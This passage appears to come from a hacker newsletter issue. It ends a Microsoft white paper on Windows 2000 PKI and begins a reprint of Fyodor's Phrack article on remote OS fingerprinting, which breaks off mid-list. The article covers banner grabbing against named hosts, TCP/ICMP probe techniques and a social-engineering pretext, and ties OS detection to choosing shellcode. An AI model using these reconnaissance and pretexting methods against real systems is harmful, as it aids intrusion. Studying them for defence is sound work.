      installing or deleting trusted root CAs and configuring associated usage restrictions with the
      certificate-management administrative tools. This should be the exception, rather than the rule. These
      trust relationships should be established as part of the enterprise policy (See the following section,
      PK Security Policy in Windows 2000.) Trust relationships established by policy are automatically
      propagated to Windows 2000–based client computers.

      PK Security Policy in Windows 2000

      Security policies can be applied to sites, domains, or organizational units (OUs), and affect the
      associated security groups of users and computers. PK security policy is only one aspect of the
      overall Windows security policy and is integrated into this structure. It provides a mechanism to
      centrally define and manage policy, while enforcing it globally. The most significant aspects of PK
      security policy are discussed below.

      Trusted CA Roots

      Trust in root CAs may be set by policy to establish trust relationships used by domain clients in
      verifying PK certificates. The set of trusted CAs is configured using the Group Policy Editor. It can be
      configured on a per-computer basis and apply globally to all users of that computer.  

      In addition to establishing a root CA as trusted, the administrator can set usage properties
      associated with the CA. If specified, these restrict the purposes for which the CA-issued certificates
      are valid. Restrictions are specified based on object identifiers (OIDs) as defined for
      ExtendedKeyUsage extensions in the IETF PKIX Part 1 draft. Currently, these provide a means of
      restricting use to any combination of the following: 

           Server authentication 
           Client authentication 
           Code signing 
           E-mail 
           IP Security (IPSec) end system 
           IPSec tunnel 
           IPSec user 
           Time-stamping 
           Microsoft Encrypted File System 

      Certificate Enrollment and Renewal

      As part of the overall PKI integration with Windows 2000, policy mechanisms have been defined to
      support an automated certificate enrollment process. This is controlled by two key elements:
      certificate types and auto-enrollment objects. These are integrated with the Group Policy Object and
      may be defined on a site, domain, OU, computer, or user basis.

      Certificate types provide a template for a certificate and associate it with a common name, for ease of
      administration. The template defines elements such as naming requirements, validity period,
      allowable CSPs for private key generation, algorithms, and extensions that should be incorporated
      into the certificate. The certificate types are logically separated into computer and user types and
      applied to the policy objects accordingly. Once defined, these certificate types are available for use
      with the auto-enrollment objects and certificate-enrollment wizard.

      This mechanism is not a replacement for the enterprise CA issuing policy, but is integrated with it.
      The CA service receives a set of certificate types as part of its policy object. These are used by the
      Enterprise Policy Module to define the types of certificates that the CA is allowed to issue. The CA
      rejects requests for certificates that fail to match these criteria.

      The auto-enrollment object defines policy for certificates that an entity in the domain should have.
      This can be applied on a computer and user basis. The types of certificates are incorporated by
      reference to the certificate type objects and may be any defined type. The auto-enrollment object
      provides sufficient information to determine whether an entity has the required certificates and to
      enroll for those certificates with an enterprise CA, if they are missing. The auto-enrollment objects
      also define policy on certificate renewal. This can be set by an administrator to occur before
      certificate expiration, supporting long-term operation without direct user action. The auto-enrollment
      objects are processed and any required actions taken whenever policy is refreshed (logon time, GPO
      refresh, and so on).

      Smart-Card Logon

      Smart-card logon (also see the section on smart-card logon in the Applications Overview section
      below) is controlled by policy associated with the user object in a manner analogous to password
      policy. Policy may be set either to enable smart-card logon, in which case password-based logon
      may still be used, or to enforce smart-card logon. In the latter case, protection against unauthorized
      access to the account is significantly stronger. It does mean however, that users are unable to log on
      if they forget their smart card or attempt to use a computer lacking a smart-card reader.

      Applications Overview 

      This section provides an overview of significant applications that currently take advantage of PK-based
      functionality. It is intended to serve as an introduction to the ways you can use PKI to solve real-world
      business needs. 

      Web Security

      The Web has rapidly become a key element in creating and deploying solutions for the effective
      exchange of information on a worldwide basis. In particular, growth in its use for business purposes
      has been dramatic. For many uses, security is a key consideration. Notably: 

           Server authentication—To enable clients to verify the server they are communicating with. 
           Client authentication—To allow servers to verify the client's identity and use this as a basis
           for access-control decisions. 
           Confidentiality—Encryption of data between clients and servers to prevent its exposure over
           public Internet links. 

      The Secure Sockets Layer (SSL) and the emerging IETF standard Transport Layer Security (TLS)
      protocols play an important role in addressing these needs. SSL and TLS are flexible security
      protocols that can be layered on top of other transport protocols. They rely on PK-based
      authentication technology and use PK-based key negotiation to generate a unique encryption key for
      each client/server session. They are most commonly associated with Web-based applications and
      the HTTP protocol (referred to as HTTPS).   

      SSL and TLS are supported on the Windows platform by the secure channel (Schannel) SSPI
      provider. Microsoft Internet Explorer and Internet Information Services both use Schannel for this
      functionality. Because Schannel is integrated with Microsoft's SSPI architecture, it is available for use
      with multiple protocols to support authenticated and/or encrypted communications.

      Taking full advantage of the SSL and TLS protocols requires both clients and servers to have
      identification certificates issued by mutually trusted CAs, allowing the parties to authenticate each
      other. In this mode, certificates are exchanged along with data that proves possession of the
      corresponding private key. Each side can then validate the certificate and verify possession of the
      private key, using the certificate's public key. The identifying information included in the certificate
      can then be used to make supplemental access-control decisions. For example, the client can
      decide whether the server is someone that it wishes to conduct business with, and the server can
      decide what data the client can access.  

      Windows 2000 PKI integrates support for the latter decisions as a standard feature of Windows 2000
      Server. User certificates can be mapped on a one-to-one or many-to-one basis against security
      principals (User objects) in the Active Directory. Schannel can take advantage of this information to
      automatically synthesize a security token for the client so that the Windows ACL mechanisms are
      used to enforce access control to resources. This is advantageous for services because they can use
      the identical access-control mechanism independent of the client-authentication mechanism used
      (PK or Kerberos).

      Once the client and server have authenticated each other, they can negotiate a session key and
      begin communicating securely. SSL and TLS are also often employed in a mode that does not
      require client authentication. Use of mutual authentication is recommended in the enterprise
      environment, however, because it allows you to make use of the Windows-based access control
      mechanisms. Also, the PKI significantly simplifies certificate enrollment and management, reducing
      the burden on the client.

      Secure E-mail

      PK-based secure e-mail products, including Microsoft Exchange, have been available for a number of
      years and are widely deployed. These systems rely on PK technology for: 

           Digital signatures, to prove origin and authenticity of an e-mail message. 
           Bulk encryption without prior shared secrets, for confidentiality between correspondents. 

      The distributed nature of e-mail, and the reliance on store-and-forward transport to multiple recipients,
      have been decisive factors in the use of PK technology. Alternate approaches, based on
      shared-secret cryptography, impose administrative and physical security requirements that make
      them difficult to use.

      A limitation of some early implementations was the lack of cross-vendor interoperability. In the
      absence of suitable standards, vendors implemented systems that relied on proprietary protocols,
      message encodings, and trust assumptions that effectively defined non-interoperable PKIs. (PGP,
      though in fairly wide use, is in this category because its messaging formats never became a basis for
      interoperable secure e-mail applications within the industry at large.) Only recently has a basis for
      interoperable secure e-mail systems emerged from major vendors, with the proposed IETF S/MIME
      version 3 standard, which builds upon the S/MIME version 2 proposal from RSA Data Security.
      Despite its draft status, S/MIME is currently implemented by a number of products, including
      Microsoft Outlook® 98 messaging and collaboration client and Microsoft Outlook Express, with
      proven interoperability between vendors for PK encryption and digital signatures, using RSA
      algorithms.

      In operation, these systems use a user's private key to digitally sign outgoing 
      e-mail. The user's certificate is then sent along with the e-mail so that the recipient can verify the
      signature. S/MIME defines a profile for these certificates to ensure interoperability and assumes a
      hierarchical CA model to provide scalable trust management. To encrypt e-mail, the user obtains the
      encryption certificate of the recipient, either from prior e-mail or a directory service. Once this
      certificate is verified, the user can use the contained public key to encrypt the secret key used to
      encrypt the e-mail.

      Digitally Signed Content

      The growing use of the Internet has driven reliance on downloaded active content, such as
      Windows-based applications, ActiveX® controls, and Java applets. The result has been a heightened
      concern for the safety of such downloads, since they often occur as a side effect of Web scripts
      without any specific user notification. In response to these concerns, Microsoft introduced
      AuthenticodeTM digital signature technology in 1996 and introduced significant enhancements in
      1997.

      Authenticode technology allows software publishers to digitally sign any form of active content,
      including multiple-file archives. These signatures may be used to verify both the publishers of the
      content and the content integrity at download time. This verification infrastructure scales to the
      worldwide base of users of Windows by relying on a hierarchical CA structure in which a small
      number of commercial CAs issue software-publishing certificates. For enterprise needs, the
      Windows 2000 PKI allows you to issue Authenticode certificates to internal developers or contractors
      and allows any employee to verify the origin and integrity of downloaded applications.

      Encrypting File System

      The Windows 2000 Encrypting File System (EFS) supports transparent encryption and decryption of
      files stored on a disk in the Windows NT file system (NTFS). The user can designate individual files
      to encrypt or folders whose contents are to be maintained in encrypted form. Applications have
      access to a user's encrypted files in the same manner as unencrypted files. However, they cannot
      decrypt any other user's encrypted files.

      EFS makes extensive use of PK-based technology to provide mechanisms for encrypting files to
      multiple users as well as supporting file recovery. To do this, it utilizes the ability of PK to support
      bulk encryption without prior shared secrets. In operation, each EFS user generates a public-key pair
      and obtains an EFS certificate. The certificate is issued by an enterprise CA in the Windows 2000
      domain, although EFS generates a self-signed certificate for stand-alone operation where data
      sharing is not an issue. In addition, Windows 2000 supports an EFS recovery policy in which trusted
      recovery agents can be designated. These agents generate an EFS recovery public-key pair and are
      issued an EFS recovery certificate by the enterprise CA. The certificates of the EFS recovery agents
      are published to domain clients with the Group Policy object.

      In operation, for each file to be encrypted, EFS creates a random key that is used to encrypt the file.
      The user's EFS public key is then used to encrypt this secret key and associate it with the file. In
      addition, a copy of the secret key, encrypted with each recovery agent's EFS public key, is
      associated with the file. No plaintext copy of the secret key is stored in the system.

      When retrieving the file, EFS transparently unwraps the copy of the secret key encrypted with the
      user's public key, using the user's private key. This is then used to decrypt the file in real time during
      file read and write operations. Similarly, a recovery agent may decrypt the file by using the private key
      to access the secret key.

      Smart-Card Logon

      Windows 2000 introduces PK-based smart-card logon as an alternative to passwords for domain
      authentication. This relies on a PC/SC Workgroup-compliant smart-card infrastructure, first
      introduced for Windows NT and Windows 95 in December 1997, and RSA-capable smart cards with
      supporting CryptoAPI CSPs. The authentication process makes use of the PKINIT protocol, proposed
      by the IETF Kerberos working group, to integrate PK-based authentication with the Windows 2000
      Kerberos access-control system.

      In operation, the system recognizes a smart-card insertion event as an alternative to the standard
      CTRL + ALT + DEL secure attention sequence to initiate a logon. The user is then prompted for the
      smart-card PIN code, which controls access to operations with the private key stored on the smart
      card. In this system, the smart card also contains a copy of the user's certificate (issued by an
      enterprise CA). This allows the user to roam within the domain.

      IP Security (IPSec)

      IPSec defines protocols for network encryption at the IP protocol layer. IPSec does not require
      PK-based technology and can use shared-secret keys that are communicated securely through an
      out-of-band mechanism at the network end-points for encryption. The IETF IPSec working group
      recognized, however, that PK-based technology offers a practical solution to create a scalable
      distributed trust architecture, in particular, one in which IPSec devices can mutually authenticate
      each other and agree upon encryption keys without reliance on prearranged shared secrets.

      The IPSec community, including Microsoft, is actively working on standards for interoperable
      certificates and certificate enrollment and management protocols. Although a level of interoperability
      has been demonstrated, there is still work required to ensure broad interoperability across IPSec
      devices and PKI implementations. Microsoft is committed to developing its Windows 2000 PKI in
      conjunction with these evolving standards.

      Interoperability

      Criteria

      In an ideal world, a PKI would be exactly that: an infrastructure. CAs would issue a suite of
      completely interoperable certificates based on a standard certificate-request protocol. Applications
      would then evaluate them in a consistent manner (including whether they have been revoked), and
      there would be no ambiguity in either the syntactic or semantic interpretation anywhere in the
      process.

      The industry has yet to achieve this level of interoperability. As more applications take advantage of
      PK-based technology, relatively seamless interoperability is achievable. Today, SSL/TLS and
      S/MIME work well across multiple vendor products. Newer applications, such as code signing and
      digitally signed forms are not yet reliable. More troublesome is the fact that there is no current
      technical mechanism to compare names in two different language encodings. Unicode, for example,
      allows accented characters to be encoded in multiple equivalent forms. 

      In the future, at least two major forces will drive interoperability: 

           Initial trials, followed by a growing dependence on PK-based systems. 
           Greater emphasis on standards. 

      Microsoft is actively involved in the development of PK-relevant standards and is committed to
      building a product based on accepted current standards to maximize interoperability.

       Internet Standards

      Internet standards do not ensure interoperability, although they help. The historic problem with
      standards is that commercial product deployment outpaces the collaborative process. This has been
      especially true in PK technology, where the IETF currently has multiple working groups actively
      developing proposed standards for PK-based technology. Many of the applications that are potential
      beneficiaries of these standards are already shipping products. Moreover, no standard can anticipate
      every application requirement and dependency. Even the most comprehensive standards must be
      adapted in implementation. Interoperability, then, is the result of standards tempered by market
      realities. 

      The IETF working group charged with defining the basis for an interoperable PKI is PKIX (X.509). After
      almost three full years of work, the basic architecture is in place. The specification, RFC 2459,
      Internet Public Key Infrastructure X.509 Certificate and CRL Profile, Part 1 is available at
      ftp://ftp.isi.edu/in-notes/rfc2459.txt. Microsoft is heavily involved in work on this standard within the
      IETF and is committed to assuring that its PKI products are compliant with it. Once ratified, this will
      become an important factor in defining a robust PKI that ensures certificates that can be requested,
      interpreted, and revoked in some standard way. 

      There are also a number of other efforts within the IETF that may have significant impact on PKI
      interoperability. These are being driven by the needs of PK-based applications, notably TLS, S/MIME,
      and IPSec. In each case, these applications made it necessary to define a PKIX subset that meets
      their needs; often they supersede PKIX-defined functionality. Although this could appear to fragment
      the process, it does create a close-in feedback loop for the PKI designers. 

      It is not surprising, then, that the most aggressive set of application-dependent standards are
      products of the IETF S/MIME working group (http://www.ietf.org/ids.by.wg/smime.html). Of these, the
      (S/MIME) Cryptographic Message Syntax, S/MIME Version 3 Message Specification, S/MIME
      Version 3 Certificate Handling, and Certificate Request Syntax are the most important. The S/MIME
      community, like TLS before it, has the advantage of starting with a de facto standard. PKIX also
      started with a standard (X.509), but this has proven inadequate as a basis for interoperable PK-based
      systems. This means that PKIX Part 1, the base IETF standard, is gaining experience from the
      applications that are trying to use it. A recent example of the feedback process is certificate chain
      verification.

      PKIX Part 1 suggests, but does not specify, a certificate-chain validation algorithm. One possible
      interpretation of the current Internet draft is that name-chaining (that is, matching the certificate issuer
      name against a CA name in the subject field of the parent certificate) must always be enforced, even
      if information such as AuthorityKeyIdentifier (issuer of a public key) is present. An inherent problem
      with this approach, however, is that it does not accommodate two significant public-key
      environments: one where there is no directory available to locate CA certificate by name, and
      complex ones where there is a complex web of cross-certified CAs. The PKIX working group did not
      encounter this class of problem until applications tried to generalize their chain validation algorithms
      and found that they could not. The positive effect of this is that the feedback loop is working, and the
      new mechanism is now reflected in the standard. 

      There is also an important forcing function on the horizon for PKI interoperability. The National
      Institute of Standards (NIST) has established an interoperability work group, consisting of AT&T,
      CertCo, Certicom, Cylink, Digital Signature Trust, Dynacorp, Entrust, Frontier Technologies, GTE, ID
      Certify, MasterCard, Microsoft, Motorola, Spyrus, VeriSign, and Visa. The goal of this project is to
      ensure minimum interoperability between the members' implementations of PKIX Part 1. NIST is
      optimistic that this forum will resolve any ambiguities and/or errors in the new PKIX standard. 

      Another factor in defining PKI standards lies entirely outside the IETF. There is a set of de facto
      cryptographic message standards (PKCS) developed and maintained by RSA Laboratories
      (http://www.rsa.com/rsalabs/html/standards.html) that is already broadly deployed in products. The
      PKCS standards, first published in 1990, include syntax for cryptographic messages. The standards
      that are most relevant to PKI are PKCS-7, Cryptographic Message Syntax Standard, and PKCS-10,
      Certification Request Syntax Standard. The significance of the RSA standards is that they provide a
      basic, but well-understood framework for interoperability. In fact, when the PKIX working group
      proposed another standard for certificate management, the S/MIME working group created its own
      proposal based on PKCS. This response is typical of IETF practices and reflects market awareness.
      De facto standards are often the best kind, and Microsoft has taken advantage of these standards in
      its current PKI implementation to maximize interoperability. 

      It is fair to expect the standards process to lay the groundwork, but it is ultimately some subset of its
      standards that multiple vendors incorporate in their products to create interoperable solutions. A good
      example of the role that market forces play in the determination of PK interoperability is how trust
      models work. 

      The term infrastructure implies that PKIs themselves can be linked together. If, for example, a
      department within a company chooses Vendor A's PKI model for its application and the company
      later chooses Vendor B for its mail system, it makes sense that there should be some natural
      overlap. It gets slightly more complicated when Company A and Company B want to selectively join
      their PKIs in a business-specific extranet. The technical complexity comes from having to map the
      trust relationships (who trusts whom for what) between the entities and keep track of them over time.
      There are currently three competing models for how trust relationships should work: 

           Rooted hierarchies (for example, VeriSign, Microsoft, and Netscape) 
           Networks (for example, Entrust) 
           Webs (for example, PGP) 

      Each of these three trust models assumes something different about how trust relationships are
      established and maintained,  whether they are created directly or through an intermediary. Different
      trust models probably will not interoperate seamlessly. At best, sufficient flexibility can be built into a
      PKI, along with supporting administrative tools, to allow users to integrate separate trust models in a
      way that makes sense for specific business reasons. 

      Preparing for Windows 2000 PKI

      S/MIME-based E-mail Using Exchange Server

      Public Key Infrastructure–based security is relatively new, and there are very few case studies of
      actual PKI deployment. To deploy PKI on a wide scale, a corporation must educate its users,
      understand the key/certificate management issues, and understand the risks and liabilities
      associated with PKI. There are a number of companies that can provide assistance on these issues.
      A list is available at www.microsoft.com/security/partners/.

      One of the most common areas that can benefit from the use of PKI security is e-mail. Using
      S/MIME, which is based on PKI, customers can send digitally signed and encrypted e-mail. Through
      the use of S/MIME-based e-mail, corporations can start deploying PKI and build up experience and
      expertise. 

      Microsoft recommends that customers who want to deploy PKI start with Microsoft Exchange Server
      5.5 (SP1) and the Microsoft Outlook 98 messaging and collaboration client, which offers S/MIME
      based e-mail. The key pieces of a PKI are included in Microsoft Exchange and Microsoft Outlook are:

           Key Management server with built-in key recovery features. 
           X.509 version 3 Certificate Server. 
           LDAP-based Exchange directory service. 
           S/MIME clients (Outlook) using CryptoAPI. 

       

      Microsoft Exchange Server 5.5 with Microsoft Outlook provides secure e-mail, along with key
      recovery features and the ability to have multiple Key Management servers and a certificate trust
      hierarchy.

      Microsoft will provide a migration path for Exchange users to move to the more generalized PKI
      infrastructure provided by Windows 2000, which includes a common enterprise directory service (the
      Active Directory) and a common Enterprise Certificate Authority. In a future release, Microsoft will
      make the Key Management server a more general-purpose system that other applications can use.

      For More Information

      For the latest information on Windows 2000 Server and Windows NT, visit the Web site at
      http://www.microsoft.com/ntserver, the Microsoft security site at http://www.microsoft.com/security,
      and the Windows NT Server Forum on the Microsoft Network (GO WORD: MSNTS).

       

       
     OSAll © 1998, 1999 Owl Services and Mike Hudack.  Owl
     Services is not responsible for any content herein, and expects
     all visitors to act responsibly.    OSAll stands for Owl Site All. 
     Editorial content does not necessarily reflect the opinion of
     OSAll, Burst! Media or its´ advertisers.  Owl Services would
     like to thank Attrition.org, Hacker News Network and Real
     Secure.







                                                                     -- EOF )




               print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
              )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc` 

     @HWA
     
       
50.0 Remote OS detection via TCP/IP Stack FingerPrinting
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     ( This is was originally published in PHRACK #54 )
       

                Remote OS detection via TCP/IP Stack FingerPrinting
                  by Fyodor <fyodor@dhp.com> (www.insecure.org)
                           Written:  October 18, 1998
                         Last Modified:  April 10, 1999

      [French Translation by Arhuman <arhuman@francemel.com>]
      [Portuguese Translation by Frank Ned <frank@absoluta.org>]

      This paper may be freely distributed.  The latest copy should always
      be available at http://www.insecure.org/nmap/nmap-fingerprinting-article.html


      ABSTRACT

      This paper discusses how to glean precious information about a host by
      querying its TCP/IP stack.  I first present some of the "classical"
      methods of determining host OS which do not involve stack
      fingerprinting.  Then I describe the current "state of the art" in
      stack fingerprinting tools.  Next comes a description of many
      techniques for causing the remote host to leak information about
      itself.  Finally I detail my (nmap) implementation of this, followed
      by a snapshot gained from nmap which discloses what OS is running on
      many popular Internet sites.


      REASONS

      I think the usefulness of determining what OS a system is running is
      pretty obvious, so I'll make this section short.  One of the strongest
      examples of this usefulness is that many security holes are dependent
      on OS version.  Lets say you are doing a penetration test and you find
      port 53 open.  If this is a vulnerable version of Bind, you only get
      one chance to exploit it since a failed attempt will crash the daemon.
      With a good TCP/IP fingerprinter, you will quickly find that this
      machine is running 'Solaris 2.51' or 'Linux 2.0.35' and you can adjust
      your shellcode accordingly.

      A worse possibility is someone scanning 500,000 hosts in advance to
      see what OS is running and what ports are open.  Then when someone
      posts (say) a root hole in Sun's comsat daemon, our little cracker
      could grep his list for 'UDP/512' and 'Solaris 2.6' and he immediately
      has pages and pages of rootable boxes.  It should be noted that this
      is SCRIPT KIDDIE behavior.  You have demonstrated no skill and nobody
      is even remotely impressed that you were able to find some vulnerable
      .edu that had not patched the hole in time.  Also, people will be even
      less impressed if you use your newfound access to deface the
      department's web site with a self-aggrandizing rant about how damn
      good you are and how stupid the sysadmins must be.

      Another possible use is for social engineering.  Lets say that you are
      scanning your target company and nmap reports a 'Datavoice TxPORT
      PRISM 3000 T1 CSU/DSU 6.22/2.06'.  The hacker might now call up as
      'Datavoice support' and discuss some issues about their PRISM 3000.
      "We are going to announce a security hole soon, but first we want all
      our current customers to install the patch -- I just mailed it to you
      ..."  Some naive administrators might assume that only an authorized
      engineer from Datavoice would know so much about their CSU/DSU.

      Another potential use of this capability is evaluation of companies
      you may want to do business with.  Before you choose a new ISP, scan
      them and see what equipment is in use.  Those "$99/year" deals don't
      sound nearly so good when you find out they have crappy routers and
      offer PPP services off a bunch of Windows boxes.


      CLASSICAL TECHNIQUES

      Stack fingerprinting solves the problem of OS identification in a
      unique way.  I think this technique holds the most promise, but there
      are currently many other solutions.  Sadly, this is still one the most
      effective of those techniques:

      playground~> telnet hpux.u-aizu.ac.jp
      Trying 163.143.103.12 ...
      Connected to hpux.u-aizu.ac.jp.
      Escape character is '^]'.

      HP-UX hpux B.10.01 A 9000/715 (ttyp2)

      login: 

      There is no point going to all this trouble of fingerprinting if the
      machine will blatantly announce to the world exactly what it is
      running!  Sadly, many vendors ship current systems with these kind
      of banners and many admins do not turn them off.  Just because there
      are other ways to figure out what OS is running (such as
      fingerprinting), does not mean we should just announce our OS and
      architecture to every schmuck who tries to connect.

      The problems with relying on this technique are that an increasing
      number of people are turning banners off, many systems don't give much
      information, and it is trivial for someone to "lie" in their banners.
      Nevertheless, banner reading is all you get for OS and OS Version
      checking if you spend $thousands on the commercial ISS scanner.
      Download nmap or queso instead and save your money :).

      Even if you turn off the banners, many applications will happily give
      away this kind of information when asked.  For example lets look at an
      FTP server:

      payfonez> telnet ftp.netscape.com 21
      Trying 207.200.74.26 ...
      Connected to ftp.netscape.com.
      Escape character is '^]'.
      220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
      SYST
      215 UNIX Type: L8 Version: SUNOS

      First of all, it gives us system details in its default banner.  Then
      if we give the 'SYST' command it happily feeds back even more information.

      If anon FTP is supported, we can often download /bin/ls or other
      binaries and determine what architecture it was built for.

      Many other applications are too free with information.  Take web
      servers for example:

      playground> echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:' 
      Server: Microsoft-IIS/4.0
      playground>

      Hmmm ... I wonder what OS those lamers are running.

      Other classic techniques include DNS host info records (rarely
      effective) and social engineering.  If the machine is listening on
      161/udp (snmp), you are almost guaranteed a bunch of detailed info
      using 'snmpwalk' from the CMU SNMP tools distribution and the 'public'
      community name.


      CURRENT FINGERPRINTING PROGRAMS


      Nmap is not the first OS recognition program to use TCP/IP
      fingerprinting.  The common IRC spoofer sirc by Johan has included
      very rudimentary fingerprinting techniques since version 3 (or
      earlier).  It attempts to place a host in the classes "Linux",
      "4.4BSD", "Win95", or "Unknown" using a few simple TCP flag tests.

      Another such program is checkos, released publicly in January of this
      year by Shok in Confidence Remains High Issue #7.
      The fingerprinting techniques are exactly the same as SIRC, and even
      the code is identical in many places.  Checkos was privately
      available for a long time prior to the public release, so I have no
      idea who swiped code from whom.  But neither seems to credit the
      other.  One thing checkos does add is telnet banner checking, which is
      useful but has the problems described earlier.  [ Update:  Shok wrote in
      to say that chekos was never intended to be public and this is why he 
      didn't bother to credit SIRC for some of the code. ]

      Su1d also wrote an OS checking program.  His is called SS and as of
      Version 3.11 it can identify 12 different OS types.  I am somewhat
      partial to this one since he credits my nmap program for some of the
      networking code :).

      Then there is queso.  This program is the newest and it is a huge leap
      forward from the other programs.  Not only do they introduce a couple
      new tests, but they were the first (that I have seen) to move the
      OS fingerprints out of the code.  The other scanners included code like:

      /* from ss */
      if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) && 
         (flagsthree & TH_ACK))
             reportos(argv[2],argv[3],"Livingston Portmaster ComOS");

      Instead, queso moves this into a configuration file which obviously
      scales much better and makes adding an OS as easy as appending a few
      lines to a fingerprint file.

      Queso was written by Savage, one of the fine folks at Apostols.org .

      One problem with all the programs describe above is that they are very
      limited in the number of fingerprinting tests which limits the
      granularity of answers.  I want to know more than just 'this machine
      is OpenBSD, FreeBSD, or NetBSD', I wish to know exactly which of those
      it is as well as some idea of the release version number.  In the same
      way, I would rather see 'Solaris 2.6' than simply 'Solaris'.  To
      achieve this response granularity, I worked on a number of
      fingerprinting techniques which are described in the next section.

      FINGERPRINTING METHODOLOGY

      There are many, many techniques which can be used to fingerprint
      networking stacks.  Basically, you just look for things that differ
      among operating systems and write a probe for the difference.  If you
      combine enough of these, you can narrow down the OS very tightly.  For
      example nmap can reliably distinguish Solaris 2.4 vs. Solaris 2.5-2.51
      vs Solaris 2.6.  It can also tell Linux kernel 2.0.30 from 2.0.31-34
      or 2.0.35.  Here are some techniques:

      The FIN probe -- Here we send a FIN packet (or any packet without an
          ACK or SYN flag) to an open port and wait for a response.  The
          correct RFC
          793 behavior is to NOT respond, but many broken
          implementations such as MS Windows, BSDI, CISCO, HP/UX, MVS, and
          IRIX send a RESET back.  Most current tools utilize this
          technique.

      The BOGUS flag probe -- Queso is the first scanner I have seen to use
          this clever test.  The idea is to set an undefined TCP "flag" ( 64
          or 128) in the TCP header of a SYN packet.  Linux boxes prior to
          2.0.35 keep the flag set in their response.  I have not found any
          other OS to have this bug.  However, some operating systems seem
          to reset the connection when they get a SYN+BOGUS packet.  This 
          behavior could be useful in identifying them.
                              
      TCP ISN Sampling -- The idea here is to find patterns in the initial
          sequence numbers chosen by TCP implementations when responding to
          a connection request.  These can be categorized in to many groups
          such as the traditional 64K (many old UNIX boxes), Random
          increments (newer versions of Solaris, IRIX, FreeBSD, Digital
          UNIX, Cray, and many others), True "random" (Linux 2.0.*, OpenVMS,
          newer AIX, etc).  Windows boxes (and a few others) use a "time
          dependent" model where the ISN is incremented by a small fixed
          amount each time period.  Needless to say, this is almost as
          easily defeated as the old 64K behavior.  Of course my favorite
          technique is "constant".  The machines ALWAYS use the exact same
          ISN :).  I've seen this on some 3Com hubs (uses 0x803) and Apple
          LaserWriter printers (uses 0xC7001).

          You can also subclass groups such as random incremental by
          computing variances, greatest common divisors, and other functions
          on the set of sequence numbers and the differences between the
          numbers.

          It should be noted that ISN generation has important security
          implications.  For more information on this, contact "security
          expert" Tsutomu "Shimmy" Shimomura at SDSC and ask him how he was
          owned.  Nmap is the first program I have seen to use this for OS
          identification.

      Don't Fragment bit -- Many operating systems are starting to set the
          IP "Don't Fragment" bit on some of the packets they send.  This
          gives various performance benefits (though it can also be annoying
          -- this is why nmap fragmentation scans do not work from Solaris
          boxes).  In any case, not all OS's do this and some do it in
          different cases, so by paying attention to this bit we can glean
          even more information about the target OS.  I haven't seen this
          one before either.

      TCP Initial Window -- This simply involves checking the window size on
          returned packets.  Older scanners simply used a non-zero window on
          a RST packet to mean "BSD 4.4 derived".  Newer scanners such as
          queso and nmap keep track of the exact window since it is actually
          pretty constant by OS type.  This test actually gives us a lot of
          information, since some operating systems can be uniquely
          identified by the window alone (for example, AIX is the only OS I
          have seen which uses 0x3F25).  In their "completely rewritten"
          TCP stack for NT5, Microsoft uses 0x402E.  Interestingly, that is
          exactly the number used by OpenBSD and FreeBSD.

      ACK Value -- Although you would think this would be completely
          standard, implementations differ in what value they use for the
          ACK field in some cases.  For example, lets say you send a
          FIN|PSH|URG to a closed TCP port.  Most implementations will set
          the ACK to be the same as your initial sequence number, though
          Windows and some stupid printers will send your seq + 1.  If you
          send a SYN|FIN|URG|PSH to an open port, Windows is very
          inconsistent.  Sometimes it sends back your seq, other times it
          sends S++, and still other times is sends back a seemingly random
          value.  One has to wonder what kind of code MS is writing that
          changes its mind like this.

      ICMP Error Message Quenching -- Some (smart) operating systems follow
          the RFC 1812 suggestion to limit the rate at which various error
          messages are sent.  For example, the Linux kernel (in
          net/ipv4/icmp.h) limits destination unreachable message generation
          to 80 per 4 seconds, with a 1/4 second penalty if that is
          exceeded.  One way to test this is to send a bunch of packets to
          some random high UDP port and count the number of unreachables
          received.  I have not seen this used before, and in fact I have
          not added this to nmap (except for use in UDP port scanning).
          This test would make the OS detection take a bit longer since you
          need to send a bunch of packets and wait for them to return.  Also
          dealing with the possibility of packets dropped on the network
          would be a pain.

      ICMP Message Quoting -- The RFCs specify that ICMP error messages
          quote some small amount of an ICMP message that causes various
          errors.  For a port unreachable message, almost all
          implementations send only the required IP header + 8 bytes back.
          However, Solaris sends back a bit more and Linux sends back even
          more than that.  The beauty with this is it allows nmap to
          recognize Linux and Solaris hosts even if they don't have any
          ports listening.

      ICMP Error message echoing integrity -- I got this idea from something
         Theo De Raadt (lead OpenBSD developer) posted to
         comp.security.unix.  As mentioned before, machines have to send
         back part of your original message along with a port unreachable
         error.  Yet some machines tend to use your headers as 'scratch
         space' during initial processing and so they are a bit warped by
         the time you get them back.  For example, AIX and BSDI send back an
         IP 'total length' field that is 20 bytes too high.  Some BSDI,
         FreeBSD, OpenBSD, ULTRIX, and VAXen fuck up the IP ID that you sent
         them.  While the checksum is going to change due to the changed
         TTL anyway, there are some machines (AIX, FreeBSD, etc.) which send
         back an inconsistent or 0 checksum.  Same thing goes with the UDP
         checksum.  All in all, nmap does nine different tests on the ICMP
         errors to sniff out subtle differences like these.

      Type of Service -- For the ICMP port unreachable messages I look at
         the type of service (TOS) value of the packet sent back.  Almost
         all implementations use 0 for this ICMP error although Linux uses
         0xC0.  This does not indicate one of the standard TOS values, but instead is
         part of the unused (AFAIK) precedence field.  I do not know why
         this is set, but if they change to 0 we will be able to keep
         identifying the old versions and we will be able to identify
         between old and new.

      Fragmentation Handling -- This is a favorite technique of Thomas
         H. Ptacek of Secure Networks, Inc (now owned by a bunch of Windows
         users at NAI).  This takes advantage of the fact that different
         implementations often handle overlapping IP fragments differently.
         Some will overwrite the old portions with the new, and in other
         cases the old stuff has precedence.  There are many different
         probes you can use to determine how the packet was reassembled.  I
         did not add this capability since I know of no portable way to send
         IP fragments (in particular, it is a bitch on Solaris).  For more
         information on overlapping fragments, you can read their IDS paper
         (www.secnet.com).

      TCP Options -- These are truly a gold mine in terms of leaking
          information.  The beauty of these options is that:
          1) They are generally optional (duh!) :) so not all hosts implement
             them.
          2) You know if a host implements them by sending a query with an
             option set. The target generally show support of the option by
             setting it on the reply.
